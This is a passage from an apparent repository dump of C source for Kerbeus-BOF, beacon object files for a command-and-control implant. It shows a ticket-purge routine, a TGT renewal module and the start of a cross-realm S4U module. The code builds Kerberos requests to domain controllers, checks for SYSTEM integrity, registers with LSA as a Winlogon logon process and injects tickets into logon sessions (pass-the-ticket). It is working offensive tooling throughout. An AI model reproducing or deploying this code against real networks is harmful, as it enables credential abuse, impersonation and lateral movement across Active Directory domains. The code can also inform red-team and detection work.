PRINT_OUT(\"\\n[*] Action: Purge Tickets\\n\\n\");\n\n    char* luid = NULL;\n\n    for (int i = 0; i < Length; i++)\n        i += GetStrParam(Buffer + i, Length - i, \"/luid:\", 6, &luid );\n\n    PURGE(luid);\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        PURGE_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/renew/renew.c",
    "content": "#include \"_include/asn_encode.c\"\n#include \"_include/asn_decode.c\"\n#include \"_include/crypt_b64.c\"\n#include \"_include/crypt_dec.c\"\n#include \"_include/connection.c\"\n\n\nHANDLE GetCurrentToken(DWORD DesiredAccess) {\n    HANDLE hCurrentToken = NULL;\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken))\n        if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN)\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken))\n                return NULL;\n    return hCurrentToken;\n}\n\nLUID GetCurrentLUID(HANDLE TokenHandle) {\n    TOKEN_STATISTICS tokenStats;\n    DWORD tokenSize;\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize))\n        return (LUID) { 0 };\n    return tokenStats.AuthenticationId;\n}\n\nBOOL IsSystem(HANDLE TokenHandle) {\n    UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];\n    PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;\n    ULONG cbTokenUser;\n    SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;\n    PSID pSystemSid = NULL;\n    BOOL bSystem = FALSE;\n\n    // Try to open the token of the current thread first\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_QUERY, TRUE, &TokenHandle)) {\n        // If there is no thread token, fall back to the process token\n        if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) {\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) {\n                return FALSE;\n            }\n        } else {\n            return FALSE;\n        }\n    }\n\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {\n        return FALSE;\n    }\n\n    if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {\n        return FALSE;\n    }\n\n    bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);\n\n    ADVAPI32$FreeSid(pSystemSid);\n\n    return bSystem;\n}\n\nBOOL GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {\n    HANDLE hLsaLocal = NULL;\n    ULONG  mode = 0;\n    bool   status = true;\n    if (highIntegrity) {\n        STRING lsaString = (STRING){ .Length = 8, .MaximumLength = 9, .Buffer = \"Winlogon\" };\n        status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);\n    }\n    else {\n        status = SECUR32$LsaConnectUntrusted(&hLsaLocal);\n    }\n    *hLsa = hLsaLocal;\n    return status;\n}\n\nint my_isdigit(int c) {\n    return (c >= '0' && c <= '9');\n}\n\nint my_islower(int c) {\n    return (c >= 'a' && c <= 'z');\n}\n\nlong int my_strtol(const char* str, char** endptr, int base) {\n    long int result = 0;\n    int sign = 1;\n\n    if (*str == '-' || *str == '+') {\n        sign = (*str == '-') ? -1 : 1;\n        str++;\n    }\n\n    while (my_isdigit(*str) ||\n           (base == 16 && (*str >= 'a' && *str <= 'f')) ||\n           (base == 16 && (*str >= 'A' && *str <= 'F'))) {\n        int digit = 0;\n        if (my_isdigit(*str)) {\n            digit = *str - '0';\n        }\n        else if (base == 16) {\n            digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10));\n        }\n\n        if (digit >= base)\n            break;\n\n        if (result > (LONG_MAX - digit) / base) {\n            if (sign == 1)\n                return LONG_MAX;\n            else\n                return LONG_MIN;\n        }\n\n        result = result * base + digit;\n        str++;\n    }\n\n    if (endptr != NULL)\n        *endptr = (char*)str;\n\n    return result * sign;\n}\n\nvoid PTT(char* luid, byte* ticket) {\n    HANDLE hToken = GetCurrentToken(TOKEN_QUERY);\n    LUID   currentLuid = GetCurrentLUID(hToken);\n    LUID   targetLuid = { 0 };\n    bool   IsHighIntegrity = IsSystem(hToken);\n\n    if (luid) {\n        targetLuid.LowPart = my_strtol(luid, NULL, 16);\n        if (targetLuid.LowPart == 0 || targetLuid.LowPart == LONG_MAX || targetLuid.LowPart == LONG_MIN) {\n            PRINT_OUT(\"[x] Invalid luid\\n\");\n            return;\n        }\n    }\n    else {\n        targetLuid = currentLuid;\n    }\n\n    if (!IsHighIntegrity && currentLuid.LowPart != targetLuid.LowPart) {\n        PRINT_OUT(\"[X] You need to be in SYSTEM integrity.\\n\");\n        return;\n    }\n\n    if (currentLuid.LowPart != targetLuid.LowPart)\n        IsHighIntegrity = false;\n\n    HANDLE hLsa;\n    if (GetLsaHandle(hToken, IsHighIntegrity, &hLsa)) return;\n\n    ULONG authPackage;\n    LSA_STRING krbAuth = { .Buffer = \"kerberos\",.Length = 8,.MaximumLength = 9 };\n    if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) == 0) {\n\n        int decode_ticket_size = 0;\n        byte* decode_ticket = base64_decode(ticket, &decode_ticket_size);\n\n        int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decode_ticket_size;\n        KERB_SUBMIT_TKT_REQUEST* submitRequest = MemAlloc(submitSize);\n\n        submitRequest->MessageType = KerbSubmitTicketMessage;\n        submitRequest->KerbCredSize = decode_ticket_size;\n        submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);\n        if (IsHighIntegrity)\n            submitRequest->LogonId = targetLuid;\n        else\n            submitRequest->LogonId = (LUID){ 0 };\n\n        MemCpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decode_ticket, decode_ticket_size);\n\n        NTSTATUS protocolStatus = 0;\n        ULONG    responseSize = 0;\n        void* response = 0;\n        if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus) || protocolStatus)\n            PRINT_OUT(\"\\n[X] Ticket not imported.\\n\");\n        else\n            PRINT_OUT(\"\\n[+] Ticket successfully imported.\\n\");\n    }\n    SECUR32$LsaDeregisterLogonProcess(hLsa);\n}\n\nBOOL NewTGS_REP(AsnElt asn_TGS_REP, TGS_REP* tgs_rep) {\n    if (asn_TGS_REP.tagValue != KERB_TGS_REP) {\n        PRINT_OUT(\"TGS-REP tag value should be 13\");\n        return TRUE;\n    }\n    if ((asn_TGS_REP.subCount != 1) || (asn_TGS_REP.sub[0].tagValue != 16)) {\n        PRINT_OUT(\"First TGS-REP sub should be a sequence\");\n        return TRUE;\n    }\n\n    // extract the KDC-REP out\n    AsnElt* kdc_rep = asn_TGS_REP.sub[0].sub;\n    for (int i = 0; i < asn_TGS_REP.sub[0].subCount; i++) {\n        int tagValue = kdc_rep[i].tagValue;\n        if ( tagValue == 0 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->pvno))) return TRUE;\n        }\n        if ( tagValue == 1 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->msg_type))) return TRUE;\n        }\n        if ( tagValue == 2 ) {\n            if (AsnGetPaData(&(kdc_rep[i].sub[0]), &(tgs_rep->padata))) return TRUE;\n        }\n        if ( tagValue == 3 ) {\n            if (AsnGetString(&(kdc_rep[i].sub[0]), &(tgs_rep->crealm))) return TRUE;\n        }\n        if ( tagValue == 4 ) {\n            if (AsnGetPrincipalName(&(kdc_rep[i].sub[0]), &(tgs_rep->cname))) return TRUE;\n        }\n        if ( tagValue == 5 ) {\n            if (AsnGetTicket(&(kdc_rep[i].sub[0].sub[0]), &(tgs_rep->ticket))) return TRUE;\n        }\n        if ( tagValue == 6 ) {\n            if (AsnGetEncryptedData(&(kdc_rep[i].sub[0]), &(tgs_rep->enc_part))) return TRUE;\n        }\n    }\n    return FALSE;\n}\n\n\nBOOL New_PA_DATA(char* crealm, char* cname, Ticket providedTicket, EncryptionKey clientKey, BOOL opsec, byte* req_body, int req_body_length, PA_DATA* pa_data) {\n\n    AP_REQ* ap_req = MemAlloc(sizeof(AP_REQ));\n    if (!ap_req) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    ap_req->pvno = 5;\n    ap_req->msg_type = KERB_AP_REQ;\n    ap_req->ap_options = 0;\n    ap_req->ticket = providedTicket;\n    ap_req->keyUsage = KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR;\n    ap_req->key = clientKey;\n\n    DateTime dt = GetGmTimeAdd(0);\n\n    if (my_copybuf(&(ap_req->authenticator.crealm), crealm, my_strlen(crealm) + 1)) return TRUE;\n\n    ap_req->authenticator.authenticator_vno = 5;\n    ap_req->authenticator.ctime = dt;\n    ap_req->authenticator.cname.name_count = 1;\n    ap_req->authenticator.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    ap_req->authenticator.cname.name_string = MemAlloc(sizeof(void*) * ap_req->authenticator.cname.name_count);\n    if (!ap_req->authenticator.cname.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    if (my_copybuf(&(ap_req->authenticator.cname.name_string[0]), cname, my_strlen(cname) + 1)) return TRUE;\n\n    pa_data->type = PADATA_AP_REQ;\n    pa_data->value = ap_req;\n    return FALSE;\n}\n\nBOOL NewTGS_REQ(char* userName, char* domain, char* sname, Ticket providedTicket, EncryptionKey clientKey, int requestEType, byte* tgs, BOOL opsec, BOOL u2u, BOOL unconstrained, char* targetDomain, char* s4uUser, BOOL keyList, BOOL renew, byte** reqBytes, int* reqBytesSize) {\n    AS_REQ req = { 0 };\n\n    req.pvno = 5;\n    req.msg_type = 12;\n\n    req.req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK;\n    req.req_body.till = 24 * 3600;\t\t // valid for 1h\n    ADVAPI32$SystemFunction036(&(req.req_body.nonce), 4);\n\n    req.req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n        req.req_body.cname.name_count = 1;\n        req.req_body.cname.name_string = MemAlloc(sizeof(void*) * req.req_body.cname.name_count);\n        if (!req.req_body.cname.name_string) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        if (my_copybuf(&(req.req_body.cname.name_string[0]), userName, my_strlen(userName) + 1)) return TRUE;\n        if (my_copybuf(&targetDomain, domain, my_strlen(domain) + 1)) return TRUE;\n\n    int partsCount = 0;\n    char** parts = my_strsplit( sname, '/', &partsCount );\n\n    if (my_copybuf(&req.req_body.realm, targetDomain, my_strlen(targetDomain) + 1)) return TRUE;\n    StrToUpper(req.req_body.realm);\n\n    req.req_body.etypes_count = 0;\n    int etypeIndex = 0;\n\n    \n        req.req_body.etypes_count += 4;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        if (!req.req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        req.req_body.etypes[etypeIndex++] = aes256_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = aes128_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac_exp;\n\n            // service and other unique instance (e.g. krbtgt)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n            req.req_body.sname.name_count = 2;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), domain, my_strlen(domain) + 1);\n\n    if (renew)\n        req.req_body.kdc_options = req.req_body.kdc_options | RENEW;\n\n    byte* cksum_Bytes = NULL;\n    int cksum_Bytes_length = 0;\n\n    // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.\n    PA_DATA padata = { 0 };\n    if (New_PA_DATA(domain, userName, providedTicket, clientKey, opsec, cksum_Bytes, cksum_Bytes_length, &padata)) return TRUE;\n\n    req.pa_data_count = 1 + (opsec && s4uUser) + (s4uUser || opsec || (tgs && !u2u)) + keyList;\n    int padata_index = 0;\n    req.pa_data = MemAlloc(req.pa_data_count * sizeof(PA_DATA));\n    req.pa_data[padata_index++] = padata;\n\n    // Add PA-DATA for KeyList request\n\n    AsnElt reqAsn = { 0 };\n    if (ReqToAsnEncode(req, 12, &reqAsn)) return TRUE;\n    if (AsnToBytesEncode(&reqAsn, reqBytesSize, reqBytes)) return TRUE;\n\n    if (opsec && s4uUser)\n        StrToUpper(domain);\n\n    return FALSE;\n}\n\nBOOL AskTGT_ticket(char* userName, char* domain, Ticket providedTicket, EncryptionKey clientKey, BOOL ptt, char* domainController) {\n\n    PRINT_OUT(\"[*] Building TGS-REQ renewal for: '%s\\\\%s'\\n\", domain, userName);\n\n    byte* tgsBytes = NULL;\n    int\t  tgsBytesLength = 0;\n    if (NewTGS_REQ(userName, domain, \"krbtgt\", providedTicket, clientKey, subkey_keymaterial, NULL, FALSE, FALSE, FALSE, NULL, NULL, FALSE, TRUE, &tgsBytes, &tgsBytesLength)) return TRUE;\n\n    byte* response = NULL;\n    int responseSize = 0;\n    sendBytes(domainController, \"88\", tgsBytes, tgsBytesLength, &response, &responseSize);\n    if (responseSize == 0)\n        return TRUE;\n\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode3(response, responseSize, FALSE, &responseAsn)) return TRUE;\n\n    if (responseAsn.tagValue == KERB_TGS_REP) {\n        PRINT_OUT(\"[+] TGT renewal request successful!\\n\");\n\n        TGS_REP rep = { 0 };\n        if (NewTGS_REP(responseAsn, &rep)) return TRUE;\n\n        byte* outBytes = NULL;\n        int  outBytesLength = 0;\n        if (decrypt(clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, rep.enc_part.cipher, rep.enc_part.cipher_size, &outBytes, &outBytesLength)) return TRUE;\n\n        AsnElt ae = { 0 };\n        if (BytesToAsnDecode3(outBytes, outBytesLength, FALSE, &ae)) return TRUE;\n\n        EncKDCRepPart encRepPart = { 0 };\n        if (AsnGetEncKDCRepPart(&(ae.sub[0]), &encRepPart)) return TRUE;\n\n        KRB_CRED cred = { 0 };\n        cred.pvno = 5;\n        cred.msg_type = 22;\n\n        cred.ticket_count = 1;\n        cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n        if (!cred.tickets) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.tickets[0] = rep.ticket;\n\n        KrbCredInfo info = { 0 };\n\n        info.key = encRepPart.key;\n        if (my_copybuf(&(info.key.key_value), encRepPart.key.key_value, encRepPart.key.key_size)) return TRUE;\n\n        if (my_copybuf(&(info.prealm), encRepPart.realm, my_strlen(encRepPart.realm) + 1)) return TRUE;\n\n        info.pname = rep.cname;\n        info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n        for (int i = 0; i < info.pname.name_count; i++)\n            if (my_copybuf(&(info.pname.name_string[i]), rep.cname.name_string[i], my_strlen(rep.cname.name_string[i]) + 1)) return TRUE;\n\n        info.flags = encRepPart.flags;\n        info.starttime = encRepPart.starttime;\n        info.endtime = encRepPart.endtime;\n        info.renew_till = encRepPart.renew_till;\n\n        if (my_copybuf(&(info.srealm), encRepPart.realm, my_strlen(encRepPart.realm) + 1)) return TRUE;\n\n        info.sname = encRepPart.sname;\n        info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n        for (int i = 0; i < info.sname.name_count; i++)\n            if (my_copybuf(&(info.sname.name_string[i]), encRepPart.sname.name_string[i], my_strlen(encRepPart.sname.name_string[i]) + 1)) return TRUE;\n\n        cred.enc_part.ticket_count = 1;\n        cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n        if (!cred.enc_part.ticket_info) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.enc_part.ticket_info[0] = info;\n\n        AsnElt asnCred = { 0 };\n        if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n        byte* kirbiBytes = NULL;\n        int   kirbiBytesSize = 0;\n        if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n        char* kirbiString = base64_encode(kirbiBytes, kirbiBytesSize);\n\n        PRINT_OUT(\"[*] base64(ticket.kirbi):\\n\\n%s\\n\\n\", kirbiString);\n\n        if (ptt)\n            PTT(NULL, kirbiString);\n\n        return FALSE;\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n        PRINT_OUT(\"\\n\\t[x] Kerberos error : %s\\n\", error_code);\n//        PRINT_OUT(\"\\n\\t[x] Kerberos error : %s\\n\", lookupKrbErrorCode(error_code));\n    }\n    else {\n        PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", responseAsn.tagValue);\n    }\n    return FALSE;\n}\n\nBOOL ReNewTGT(byte* ticket, char* dc, BOOL ptt) {\n    // extract out the info needed for the TGS-REQ/AP-REQ renewal\n    int bytesTgtSize = 0;\n    byte* bytesTgt = base64_decode(ticket, &bytesTgtSize);\n\n    AsnElt   asn_KRB_CRED = { 0 };\n    KRB_CRED kirbi = { 0 };\n\n    if (BytesToAsnDecode3(bytesTgt, bytesTgtSize, FALSE, &asn_KRB_CRED)) return TRUE;\n\n    AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi);\n\n    char* userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];\n    char* domain = kirbi.enc_part.ticket_info[0].prealm;\n    Ticket providedTicket = kirbi.tickets[0];\n    EncryptionKey clientKey = kirbi.enc_part.ticket_info[0].key;\n\n    // request the new TGT renewal\n    return AskTGT_ticket(userName, domain, providedTicket, clientKey, ptt, dc);\n}\n\n\nvoid RENEW_RUN( PCHAR Buffer, DWORD Length ) {\n    char* ticket = NULL;\n    char* dc     = NULL;\n    BOOL  ptt    = FALSE;\n\n        for (int i = 0; i < Length; i++) {\n            i += GetStrParam(Buffer + i, Length - i, \"/dc:\", 4, &dc);\n            i += GetStrParam(Buffer + i, Length - i, \"/ticket:\", 8, &ticket);\n            i += IsSetParam(Buffer + i, Length - i, \"/ptt\", 4, &ptt );\n        }\n\n    GetDomainInfo(NULL, &dc);\n    if (dc == NULL) {\n        PRINT_OUT(\"[X] Could not retrieve domain information!\\n\\n\");\n        return;\n    }\n\n    if (ticket) {\n        PRINT_OUT(\"[*] Action: Renew Ticket\\n\\n\");\n        ReNewTGT(ticket, dc, ptt);\n    }\n    else {\n        PRINT_OUT(\"\\n[X] A /ticket:X needs to be supplied!\\r\\n\");\n    }\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        RENEW_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/s4u/cross_s4u.c",
    "content": "#include \"_include/asn_encode.c\"\n#include \"_include/asn_decode.c\"\n#include \"_include/crypt_b64.c\"\n#include \"_include/crypt_checksum.c\"\n#include \"_include/crypt_dec.c\"\n#include \"_include/connection.c\"\n\n\nvoid DisplayTicket( KRB_CRED cred, int indentLevel ) {\n    DateTime starttime = cred.enc_part.ticket_info[0].starttime;\n    DateTime endtime = cred.enc_part.ticket_info[0].endtime;\n    DateTime renew_till = cred.enc_part.ticket_info[0].renew_till;\n    uint flags = cred.enc_part.ticket_info[0].flags;\n\n    if (cred.enc_part.ticket_info[0].sname.name_count == 1)\n        PRINT_OUT(\"  ServiceName              :  %s\\n\", cred.enc_part.ticket_info[0].sname.name_string[0]);\n    else if (cred.enc_part.ticket_info[0].sname.name_count > 1)\n        PRINT_OUT(\"  ServiceName              :  %s/%s\\n\", cred.enc_part.ticket_info[0].sname.name_string[0], cred.enc_part.ticket_info[0].sname.name_string[1]);\n\n    PRINT_OUT(\"  ServiceRealm             :  %s\\n\", cred.enc_part.ticket_info[0].srealm);\n\n    if (cred.enc_part.ticket_info[0].pname.name_count == 1)\n        PRINT_OUT(\"  UserName                 :  %s\\n\", cred.enc_part.ticket_info[0].pname.name_string[0]);\n    else if (cred.enc_part.ticket_info[0].pname.name_count > 1)\n        PRINT_OUT(\"  UserName                 :  %s@%s\\n\", cred.enc_part.ticket_info[0].pname.name_string[0], cred.enc_part.ticket_info[0].pname.name_string[1]);\n\n    PRINT_OUT(\"  UserRealm                :  %s\\n\", cred.enc_part.ticket_info[0].prealm);\n    PRINT_OUT(\"  StartTime (UTC)          :  %02d.%02d.%04d %d:%d:%d\\n\", starttime.day, starttime.month, starttime.year, starttime.hour, starttime.minute, starttime.second);\n    PRINT_OUT(\"  EndTime (UTC)            :  %02d.%02d.%04d %d:%d:%d\\n\", endtime.day, endtime.month, endtime.year, endtime.hour, endtime.minute, endtime.second);\n    PRINT_OUT(\"  RenewTill (UTC)          :  %02d.%02d.%04d %d:%d:%d\\n\", renew_till.day, renew_till.month, renew_till.year, renew_till.hour, renew_till.minute, renew_till.second);\n\n    PRINT_OUT(\"  Flags                    :  \");\n    if (flags & reserved)\t\tPRINT_OUT(\"reserved \");\n    if (flags & forwardable)\tPRINT_OUT(\"forwardable \");\n    if (flags & forwarded)\t\tPRINT_OUT(\"forwarded \");\n    if (flags & proxiable)\t\tPRINT_OUT(\"proxiable \");\n    if (flags & proxy)\t\t\tPRINT_OUT(\"proxy \");\n    if (flags & may_postdate)\tPRINT_OUT(\"may_postdate \");\n    if (flags & postdated)\t\tPRINT_OUT(\"postdated \");\n    if (flags & invalid)\t\tPRINT_OUT(\"invalid \");\n    if (flags & renewable)\t\tPRINT_OUT(\"renewable \");\n    if (flags & initial)\t\tPRINT_OUT(\"initial \");\n    if (flags & pre_authent)\tPRINT_OUT(\"pre_authent \");\n    if (flags & hw_authent)\t\tPRINT_OUT(\"hw_authent \");\n    if (flags & ok_as_delegate) PRINT_OUT(\"ok_as_delegate \");\n    if (flags & anonymous)\t\tPRINT_OUT(\"anonymous \");\n    if (flags & enc_pa_rep)\t\tPRINT_OUT(\"enc_pa_rep \");\n    if (flags & reserved1)\t\tPRINT_OUT(\"reserved1 \");\n    PRINT_OUT(\"\\n\");\n\n    if (cred.enc_part.ticket_info[0].key.key_type == rc4_hmac)\n        PRINT_OUT(\"  KeyType                  :  rc4_hmac\\n\");\n    else if (cred.enc_part.ticket_info[0].key.key_type == aes128_cts_hmac_sha1)\n        PRINT_OUT(\"  KeyType                  :  aes128_cts_hmac_sha1\\n\");\n    else if (cred.enc_part.ticket_info[0].key.key_type == aes256_cts_hmac_sha1)\n        PRINT_OUT(\"  KeyType                  :  aes256_cts_hmac_sha1\\n\");\n}\n\nvoid DescribeTicket(byte* ticket_b64) {\n    int bytesSize = 0;\n    byte* bytes = base64_decode(ticket_b64, &bytesSize);\n\n    KRB_CRED kirbi = { 0 };\n    AsnElt   asn_KRB_CRED = { 0 };\n    if (BytesToAsnDecode3(bytes, bytesSize, false, &asn_KRB_CRED)) return;\n    if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi)) return;\n    DisplayTicket(kirbi, 2);\n}\n\n\nHANDLE GetCurrentToken(DWORD DesiredAccess) {\n    HANDLE hCurrentToken = NULL;\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken))\n        if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN)\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken))\n                return NULL;\n    return hCurrentToken;\n}\n\nLUID GetCurrentLUID(HANDLE TokenHandle) {\n    TOKEN_STATISTICS tokenStats;\n    DWORD tokenSize;\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize))\n        return (LUID) { 0 };\n    return tokenStats.AuthenticationId;\n}\n\nBOOL IsSystem(HANDLE TokenHandle) {\n    UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];\n    PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;\n    ULONG cbTokenUser;\n    SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;\n    PSID pSystemSid = NULL;\n    BOOL bSystem = FALSE;\n\n    // Try to open the token of the current thread first\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_QUERY, TRUE, &TokenHandle)) {\n        // If there is no thread token, fall back to the process token\n        if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) {\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) {\n                return FALSE;\n            }\n        } else {\n            return FALSE;\n        }\n    }\n\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {\n        return FALSE;\n    }\n\n    if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {\n        return FALSE;\n    }\n\n    bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);\n\n    ADVAPI32$FreeSid(pSystemSid);\n\n    return bSystem;\n}\n\nBOOL GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {\n    HANDLE hLsaLocal = NULL;\n    ULONG  mode = 0;\n    bool   status = TRUE;\n    if (highIntegrity) {\n        STRING lsaString = (STRING){ .Length = 8, .MaximumLength = 9, .Buffer = \"Winlogon\" };\n        status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);\n    }\n    else {\n        status = SECUR32$LsaConnectUntrusted(&hLsaLocal);\n    }\n    *hLsa = hLsaLocal;\n    return status;\n}\n\nint my_isdigit(int c) {\n    return (c >= '0' && c <= '9');\n}\n\nint my_islower(int c) {\n    return (c >= 'a' && c <= 'z');\n}\n\nlong int my_strtol(const char* str, char** endptr, int base) {\n    long int result = 0;\n    int sign = 1;\n\n    if (*str == '-' || *str == '+') {\n        sign = (*str == '-') ? -1 : 1;\n        str++;\n    }\n\n    while (my_isdigit(*str) ||\n           (base == 16 && (*str >= 'a' && *str <= 'f')) ||\n           (base == 16 && (*str >= 'A' && *str <= 'F'))) {\n        int digit = 0;\n        if (my_isdigit(*str)) {\n            digit = *str - '0';\n        }\n        else if (base == 16) {\n            digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10));\n        }\n\n        if (digit >= base)\n            break;\n\n        if (result > (LONG_MAX - digit) / base) {\n            if (sign == 1)\n                return LONG_MAX;\n            else\n                return LONG_MIN;\n        }\n\n        result = result * base + digit;\n        str++;\n    }\n\n    if (endptr != NULL)\n        *endptr = (char*)str;\n\n    return result * sign;\n}\n\nvoid PTT(char* luid, byte* ticket) {\n    HANDLE hToken = GetCurrentToken(TOKEN_QUERY);\n    LUID   currentLuid = GetCurrentLUID(hToken);\n    LUID   targetLuid = { 0 };\n    bool   IsHighIntegrity = IsSystem(hToken);\n\n    if (luid) {\n        targetLuid.LowPart = my_strtol(luid, NULL, 16);\n        if (targetLuid.LowPart == 0 || targetLuid.LowPart == LONG_MAX || targetLuid.LowPart == LONG_MIN) {\n            PRINT_OUT(\"[x] Invalid luid\\n\");\n            return;\n        }\n    }\n    else {\n        targetLuid = currentLuid;\n    }\n\n    if (!IsHighIntegrity && currentLuid.LowPart != targetLuid.LowPart) {\n        PRINT_OUT(\"[X] You need to be in SYSTEM integrity.\\n\");\n        return;\n    }\n\n    if (currentLuid.LowPart != targetLuid.LowPart)\n        IsHighIntegrity = FALSE;\n\n    HANDLE hLsa;\n    if (GetLsaHandle(hToken, IsHighIntegrity, &hLsa)) return;\n\n    ULONG authPackage;\n    LSA_STRING krbAuth = { .Buffer = \"kerberos\",.Length = 8,.MaximumLength = 9 };\n    if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) == 0) {\n\n        int decode_ticket_size = 0;\n        byte* decode_ticket = base64_decode(ticket, &decode_ticket_size);\n\n        int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decode_ticket_size;\n        KERB_SUBMIT_TKT_REQUEST* submitRequest = MemAlloc(submitSize);\n\n        